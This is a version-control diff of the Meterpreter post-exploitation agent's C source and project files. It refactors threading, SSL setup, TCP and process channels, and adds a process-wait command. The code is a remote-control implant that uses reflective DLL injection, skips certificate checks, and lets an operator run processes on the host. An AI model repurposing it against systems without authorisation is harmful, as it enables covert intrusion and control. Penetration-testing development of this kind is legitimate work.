VOID lock_destroy( LOCK * lock );
VOID lock_acquire( LOCK * lock );
BOOL lock_poll( LOCK * lock );
VOID lock_release( LOCK * lock );
/*****************************************************************************************/
EVENT * event_create( VOID );
BOOL event_destroy( EVENT * event );
BOOL event_signal( EVENT * event );
BOOL event_poll( EVENT * event, DWORD timeout );
/*****************************************************************************************/
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 );
BOOL thread_run( THREAD * thread );
BOOL thread_sigterm( THREAD * thread );
BOOL thread_kill( THREAD * thread );
BOOL thread_join( THREAD * thread );
BOOL thread_destroy( THREAD * thread );
/*****************************************************************************************/
#endif

View File

@ -16,6 +16,8 @@ static DWORD tcp_channel_client_write(Channel *channel, Packet *request,
DWORD result= ERROR_SUCCESS;
LONG written = 0;
dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );
// Write a chunk
if ((written = send(ctx->fd, buffer, bufferSize, 0)) <= 0)
{
@ -38,6 +40,8 @@ static DWORD tcp_channel_client_close(Channel *channel, Packet *request,
{
TcpClientContext *ctx = (TcpClientContext *)context;
dprintf( "[TCP] tcp_channel_client_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (ctx)
{
// Set the context channel to NULL so we don't try to close the
@ -145,8 +149,6 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
* Creates a connection to a remote host and builds a logical channel to
* represent it.
*
* TODO: This needs to be done in a non-blocking fashion or in the context of a
* worker thread.
*/
DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
USHORT remotePort, Channel **outChannel)
@ -161,6 +163,8 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
if (outChannel)
*outChannel = NULL;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort );
do
{
// Allocate a client socket
@ -235,7 +239,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
{
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
scheduler_insert_waitable(ctx->notify, ctx,
scheduler_insert_waitable( ctx->notify, ctx,
(WaitableNotifyRoutine)tcp_channel_client_local_notify);
}
@ -263,6 +267,8 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
*/
VOID free_socket_context(SocketContext *ctx)
{
dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx );
// Close the socket and notification handle
if (ctx->fd)
closesocket(ctx->fd);
@ -291,21 +297,26 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
Channel *channel = NULL;
DWORD result = ERROR_SUCCESS;
DWORD how;
dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
// Find the associated channel
channel = channel_find_by_id(packet_get_tlv_value_uint(packet,
TLV_TYPE_CHANNEL_ID));
channel = channel_find_by_id(packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID));
how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X", channel );
// If the channel and channel context are valid...
if ((channel) &&
((ctx = channel_get_native_io_context(channel))))
{
if (shutdown(ctx->fd, how) == SOCKET_ERROR)
result = WSAGetLastError();
else
free_socket_context( ctx );
}
packet_transmit_response(result, remote, response);
dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
return ERROR_SUCCESS;
}

View File

@ -89,6 +89,10 @@ Command customCommands[] =
{ request_sys_process_get_info, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_wait",
{ request_sys_process_wait, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Image
{ "stdapi_sys_process_image_load",

View File

@ -93,6 +93,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
BOOL doInMemory = FALSE;
HANDLE token, pToken;
dprintf( "[PROCESS] request_sys_process_execute" );
// Initialize the startup information
memset(&si, 0, sizeof(si));
@ -151,13 +153,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ProcessChannelContext *ctx = NULL;
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(
sizeof(ProcessChannelContext))))
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -592,6 +593,8 @@ DWORD process_channel_read(Channel *channel, Packet *request,
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
result = GetLastError();
@ -608,6 +611,8 @@ DWORD process_channel_write(Channel *channel, Packet *request,
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
result = GetLastError();
@ -617,16 +622,20 @@ DWORD process_channel_write(Channel *channel, Packet *request,
/*
* Closes the channels that were opened to the process.
*/
DWORD process_channel_close(Channel *channel, Packet *request,
LPVOID context)
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (channel_is_interactive(channel))
scheduler_remove_waitable(ctx->pStdout);
CloseHandle(ctx->pStdout);
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
// will have undefined behaviour. The interactive thread will close the handle instead.
CloseHandle(ctx->pStdin);
free(ctx);
@ -654,69 +663,52 @@ DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
bytesRead, NULL);
// Otherwise, if things fail, close the channel
else if (GetLastError() != ERROR_SUCCESS)
channel_close(channel, remote, NULL, 0, NULL);
{
process_channel_close( channel, NULL, ctx );
channel_close( channel, remote, NULL, 0, NULL );
}
return ERROR_SUCCESS;
}
/*
* Enables or disables interactivity with the standard output
* handle on the channel
* Enables or disables interactivity with the standard output handle on the channel
*/
DWORD process_channel_interact(Channel *channel, Packet *request,
LPVOID context, BOOLEAN interact)
DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact );
// If the remote side wants to interact with us, schedule the stdout handle
// as a waitable item
if (interact)
result = scheduler_insert_waitable(ctx->pStdout, channel,
(WaitableNotifyRoutine)process_channel_interact_notify);
// Otherwise, remove it
else
result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify);
else // Otherwise, remove it
result = scheduler_remove_waitable(ctx->pStdout);
return result;
}
/*
* The routine to send a notify request (responseless request) that
* the wait has finished...
*/
DWORD process_wait_notify(Remote * remote, HANDLE handle)
{
Packet * request = packet_create(PACKET_TLV_TYPE_REQUEST, "process_wait_notify");
packet_add_tlv_uint(request, TLV_TYPE_HANDLE, (DWORD)handle);
packet_transmit(remote, request, NULL);
return ERROR_SUCCESS;
}
/*
* Wait on a process handle until it terminates
* Wait on a process handle until it terminates.
*
* req: TLV_TYPE_HANDLE - The process handle to close.
* req: TLV_TYPE_HANDLE - The process handle to wait on.
*/
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle;
DWORD result;
Packet * response = packet_create_response( packet );
HANDLE handle = NULL;
DWORD result = ERROR_INVALID_PARAMETER;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE );
if( handle )
{
if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
result = ERROR_SUCCESS;
}
result = scheduler_insert_waitable(
handle,
(LPVOID)handle,
(WaitableNotifyRoutine)process_wait_notify
);
packet_transmit_response( result, remote, response );
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
return result;
}

View File

@ -67,6 +67,5 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
/*
* Wait methods
*/
DWORD process_wait_notify(Remote * remote, HANDLE handle);
DWORD request_sys_process_wait(Remote *remote, Packet *packet);
#endif

View File

@ -5,6 +5,7 @@
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
#include <excpt.h>
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
@ -26,93 +27,84 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
#define ExitThread(x) exit((x))
#endif
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
#define PREPEND_ERROR "### Error: "
#define PREPEND_INFO "### Info : "
#define PREPEND_WARN "### Warn : "
static DWORD monitor_loop(Remote *remote);
static DWORD negotiate_ssl(Remote *remote);
static void ssl_debug_log( void *ctx, int level, char *str );
static void flush_socket(Remote *remote);
DWORD server_setup(SOCKET fd)
{
Remote *remote = NULL;
DWORD res = 0;
#ifdef _UNIX
int local_error = 0;
#endif
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
srand((unsigned int)time(NULL));
__try
{
/*
* This thread is the main server thread which we use to syncronize a gracefull
* shutdown of the server during process migration.
*/
THREAD serverThread = {0};
do
{
if (!(remote = remote_allocate(fd)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Do not allow the file descriptor to be inherited by child
// processes
SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
// Flush the socket handle
dprintf("Flushing the socket handle...");
flush_socket(remote);
// Initialize SSL on the socket
dprintf("Negotiating SSL...");
negotiate_ssl(remote);
// Register extension dispatch routines
dprintf("Registering dispatch routines...");
register_dispatch_routines();
dprintf("Entering the monitor loop...");
// Keep processing commands
res = monitor_loop(remote);
dprintf("Deregistering dispatch routines...");
// Clean up our dispatch routines
deregister_dispatch_routines();
} while (0);
dprintf("Closing down SSL...");
SSL_free(remote->ssl);
SSL_CTX_free(remote->ctx);
if (remote)
remote_deallocate(remote);
}
/* Invoke the fatal error handler */
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
dprintf("*** exception triggered!");
ExitThread(0);
}
return res;
}
/*
* An array of locks for use by OpenSSL.
*/
static LOCK ** ssl_locks = NULL;
/*
* A callback function used by OpenSSL to leverage native system locks.
*/
static VOID server_locking_callback( int mode, int type, const char * file, int line )
{
if( mode & CRYPTO_LOCK )
lock_acquire( ssl_locks[type] );
else
lock_release( ssl_locks[type] );
}
// Flush all pending data on the connected socket before doing SSL
static void flush_socket(Remote *remote) {
/*
* A callback function used by OpenSSL to get the current threads id.
* While not needed on windows this must be used for posix meterpreter.
*/
static DWORD server_threadid_callback( VOID )
{
return GetCurrentThreadId();
}
/*
* Callback function for dynamic lock creation for OpenSSL.
*/
static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line )
{
return (struct CRYPTO_dynlock_value *)lock_create();
}
/*
* Callback function for dynamic lock locking for OpenSSL.
*/
static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l, const char * file, int line )
{
LOCK * lock = (LOCK *)l;
if( mode & CRYPTO_LOCK )
lock_acquire( lock );
else
lock_release( lock );
}
/*
* Callback function for dynamic lock destruction for OpenSSL.
*/
static void server_dynamiclock_destroy( struct CRYPTO_dynlock_value * l, const char * file, int line )
{
lock_destroy( (LOCK *)l );
}
/*
* Flush all pending data on the connected socket before doing SSL.
*/
static VOID server_socket_flush( Remote * remote )
{
fd_set fdread;
DWORD ret;
SOCKET fd;
unsigned char buff[4096];
lock_acquire( remote->lock );
fd = remote_get_fd(remote);
while (1) {
struct timeval tv;
LONG data;
@ -125,92 +117,302 @@ static void flush_socket(Remote *remote) {
tv.tv_usec = 0;
data = select(fd + 1, &fdread, NULL, NULL, &tv);
if(data == 0) break;
if(data == 0)
break;
ret = recv(fd, buff, sizeof(buff), 0);
dprintf("Flushed %d bytes from the buffer");
dprintf("[SERVER] Flushed %d bytes from the buffer");
continue;
}
}
lock_release( remote->lock );
}
/*
* Negotiate SSL on the socket
* Poll a socket for data to recv and block when none available.
*/
static DWORD negotiate_ssl(Remote *remote)
static LONG server_socket_poll( Remote * remote, long timeout )
{
DWORD hres = ERROR_SUCCESS;
SOCKET fd = remote_get_fd(remote);
DWORD ret;
struct timeval tv;
LONG result;
fd_set fdread;
SOCKET fd;
lock_acquire( remote->lock );
fd = remote_get_fd( remote );
FD_ZERO( &fdread );
FD_SET( fd, &fdread );
tv.tv_sec = 0;
tv.tv_usec = timeout;
result = select( fd + 1, &fdread, NULL, NULL, &tv );
lock_release( remote->lock );
return result;
}
/*
* Initialize the OpenSSL subsystem for use in a multi threaded enviroment.
*/
static BOOL server_initialize_ssl( Remote * remote )
{
int i = 0;
lock_acquire( remote->lock );
// Begin to bring up the OpenSSL subsystem...
CRYPTO_malloc_init();
SSL_load_error_strings();
SSL_library_init();
remote->meth = SSLv3_client_method();
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if (SSL_set_fd(remote->ssl, remote->fd) == 0) {
perror("set fd failed");
exit(1);
}
if ((ret = SSL_connect(remote->ssl)) != 1) {
printf("connect failed %d\n", SSL_get_error(remote->ssl, ret));
exit(1);
}
dprintf("Sending a HTTP GET request to the remote side...");
if((ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0) {
dprintf("SSL write failed during negotiation with return: %d (%d)", ret,
SSL_get_error(remote->ssl, ret));
}
dprintf("Completed writing the HTTP GET request: %d", ret);
if(ret < 0)
ExitThread(0);
return(0);
}
/*
* Monitor for requests and local waitable items in the scheduler
*/
static DWORD monitor_loop(Remote *remote)
{
DWORD hres = ERROR_SUCCESS;
SOCKET fd = remote_get_fd(remote);
fd_set fdread;
/*
* Read data locally and remotely
*/
while (1)
// Setup the required OpenSSL multi-threaded enviroment...
ssl_locks = (LOCK**)malloc( CRYPTO_num_locks() * sizeof(LOCK) );
if( ssl_locks == NULL )
{
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
tv.tv_sec = 0;
tv.tv_usec = 100;
data = select(fd + 1, &fdread, NULL, NULL, &tv);
if (data > 0)
{
if ((hres = command_process_remote(remote, NULL)) != ERROR_SUCCESS)
break;
}
else if (data < 0)
break;
// Process local scheduler items
scheduler_run(remote, 0);
lock_release( remote->lock );
return FALSE;
}
return hres;
}
for( i=0 ; i<CRYPTO_num_locks() ; i++ )
ssl_locks[i] = lock_create();
CRYPTO_set_id_callback( server_threadid_callback );
CRYPTO_set_locking_callback( server_locking_callback );
// sf: unsure if these are required or giving optimal performance, commenting out for now.
//CRYPTO_set_dynlock_create_callback( server_dynamiclock_create );
//CRYPTO_set_dynlock_lock_callback( server_dynamiclock_lock );
//CRYPTO_set_dynlock_destroy_callback( server_dynamiclock_destroy );
lock_release( remote->lock );
return TRUE;
}
/*
* Bring down the OpenSSL subsystem
*/
static BOOL server_destroy_ssl( Remote * remote )
{
int i = 0;
if( remote == NULL )
return FALSE;
lock_acquire( remote->lock );
SSL_free( remote->ssl );
SSL_CTX_free( remote->ctx );
CRYPTO_set_locking_callback( NULL );
CRYPTO_set_id_callback( NULL );
//CRYPTO_set_dynlock_create_callback( NULL );
//CRYPTO_set_dynlock_lock_callback( NULL );
//CRYPTO_set_dynlock_destroy_callback( NULL );
for( i=0 ; i<CRYPTO_num_locks() ; i++ )
lock_destroy( ssl_locks[i] );
free( ssl_locks );
lock_release( remote->lock );
return TRUE;
}
/*
* Negotiate SSL on the socket.
*/
static BOOL server_negotiate_ssl(Remote *remote)
{
BOOL success = TRUE;
SOCKET fd = 0;
DWORD ret = 0;
lock_acquire( remote->lock );
do
{
fd = remote_get_fd(remote);
remote->meth = SSLv3_client_method();
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if( SSL_set_fd(remote->ssl, remote->fd) == 0 )
{
dprintf("[SERVER] set fd failed");
success = FALSE;
break;
}
if( (ret = SSL_connect(remote->ssl)) != 1 )
{
dprintf("[SERVER] connect failed %d\n", SSL_get_error(remote->ssl, ret));
success = FALSE;
break;
}
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
if( (ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0 )
{
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
}
} while(0);
lock_release( remote->lock );
dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);
if( ret < 0 )
success = FALSE;
return success;
}
/*
* The servers main dispatch loop for incoming requests.
*/
static DWORD server_dispatch( Remote * remote )
{
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote );
// Bring up the scheduler subsystem.
result = scheduler_initialize( remote );
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
{
if( event_poll( serverThread.sigterm, 0 ) )
{
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
break;
}
result = server_socket_poll( remote, 100 );
if( result > 0 )
{
result = packet_receive( remote, &packet );
if( result != ERROR_SUCCESS )
break;
cpt = thread_create( command_process_thread, remote, packet );
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
if( cpt != NULL )
thread_run( cpt );
}
else if( result < 0 )
{
break;
}
}
dprintf( "[DISPATCH] calling scheduler_destroy..." );
scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." );
command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." );
return result;
}
/*
* Setup and run the server. This is called from Init via the loader.
*/
DWORD server_setup( SOCKET fd )
{
Remote *remote = NULL;
DWORD res = 0;
#ifdef _UNIX
int local_error = 0;
#endif
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
srand( (unsigned int)time(NULL) );
__try
{
do
{
dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance );
// manually create a THREAD item for the servers main thread, we use this to manage migration later.
memset( &serverThread, 0, sizeof(THREAD) );
serverThread.id = GetCurrentThreadId();
serverThread.handle = OpenThread( THREAD_TERMINATE, FALSE, serverThread.id );
serverThread.sigterm = event_create();
dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread.handle, serverThread.id, serverThread.sigterm );
if( !(remote = remote_allocate(fd)) )
{
SetLastError( ERROR_NOT_ENOUGH_MEMORY );
break;
}
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush( remote );
dprintf("[SERVER] Initializing SSL...");
if( !server_initialize_ssl( remote ) )
break;
dprintf("[SERVER] Negotiating SSL...");
if( !server_negotiate_ssl( remote ) )
break;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
dprintf("[SERVER] Entering the main server dispatch loop...");
server_dispatch( remote );
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines();
} while (0);
dprintf("[SERVER] Closing down SSL...");
server_destroy_ssl( remote );
if( remote )
remote_deallocate( remote );
}
__except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) )
{
dprintf("[SERVER] *** exception triggered!");
thread_kill( &serverThread );
}
dprintf("[SERVER] Finished.");
return res;
}

View File

@ -99,11 +99,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
remote->hMetSrv = hAppInstance;
dprintf("Calling init()...");
dprintf("[SERVER] Calling init()...");
// Call the init routine in the library
if( init )
res = init(remote);
dprintf("Called init()...");
dprintf("[SERVER] Called init()...");
}
} while (0);
@ -111,10 +111,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
packet_transmit(remote, response, NULL);
}
dprintf("Returning back to cmd handler...");
return res;
}

View File

@ -95,6 +95,84 @@
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="4"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
AdditionalIncludeDirectories="..\..\source\openssl\include"
PreprocessorDefinitions="_DEBUG;WIN32;_LIB;USE_DLL;METERPRETER_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="0"
UsePrecompiledHeader="2"
PrecompiledHeaderThrough="common.h"
PrecompiledHeaderFile=".\Debug/common.pch"
AssemblerListingLocation=".\Debug/"
ObjectFile=".\Debug/"
ProgramDataBaseFileName=".\Debug/"
WarningLevel="3"
SuppressStartupBanner="true"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="_DEBUG"
Culture="1033"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLibrarianTool"
OutputFile=".\Debug\common.lib"
SuppressStartupBanner="true"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
SuppressStartupBanner="true"
OutputFile=".\Debug/common.bsc"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory=".\Release"
@ -174,84 +252,6 @@
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="4"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
AdditionalIncludeDirectories="..\..\source\openssl\include"
PreprocessorDefinitions="_DEBUG;WIN32;_LIB;USE_DLL;METERPRETER_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="0"
UsePrecompiledHeader="2"
PrecompiledHeaderThrough="common.h"
PrecompiledHeaderFile=".\Debug/common.pch"
AssemblerListingLocation=".\Debug/"
ObjectFile=".\Debug/"
ProgramDataBaseFileName=".\Debug/"
WarningLevel="3"
SuppressStartupBanner="true"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="_DEBUG"
Culture="1033"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLibrarianTool"
OutputFile=".\Debug\common.lib"
SuppressStartupBanner="true"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
SuppressStartupBanner="true"
OutputFile=".\Debug/common.bsc"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
@ -352,7 +352,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -360,7 +360,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -388,7 +388,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -396,7 +396,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -424,7 +424,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -432,7 +432,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -464,7 +464,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -472,7 +472,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -500,7 +500,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -508,7 +508,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -537,7 +537,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -546,7 +546,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -576,7 +576,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -584,7 +584,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -600,6 +600,10 @@
/>
</FileConfiguration>
</File>
<File
RelativePath="..\..\source\common\list.c"
>
</File>
<File
RelativePath="..\..\source\common\remote.c"
>
@ -612,7 +616,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -620,7 +624,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -648,7 +652,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -656,7 +660,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -672,6 +676,10 @@
/>
</FileConfiguration>
</File>
<File
RelativePath="..\..\source\common\thread.c"
>
</File>
<Filter
Name="Crypto"
>
@ -690,7 +698,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
Name="Debug|x64"
>
<Tool
Name="VCCLCompilerTool"
@ -698,7 +706,7 @@
/>
</FileConfiguration>
<FileConfiguration
Name="Debug|x64"
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
@ -757,6 +765,10 @@
RelativePath="..\..\source\common\linkage.h"
>
</File>
<File
RelativePath="..\..\source\common\list.h"
>
</File>
<File
RelativePath="..\..\source\common\remote.h"
>
@ -765,6 +777,10 @@
RelativePath="..\..\source\common\scheduler.h"
>
</File>
<File
RelativePath="..\..\source\common\thread.h"
>
</File>
</Filter>
</Files>
<Globals>

View File

@ -80,7 +80,7 @@
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="common.lib ws2_32.lib odbc32.lib odbccp32.lib"
AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib ssleay32.lib libeay32.lib"
OutputFile=".\Debug/metsrv.dll"
LinkIncremental="2"
SuppressStartupBanner="true"
@ -115,7 +115,7 @@
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy debug\metsrv.dll ..\..\output\server"
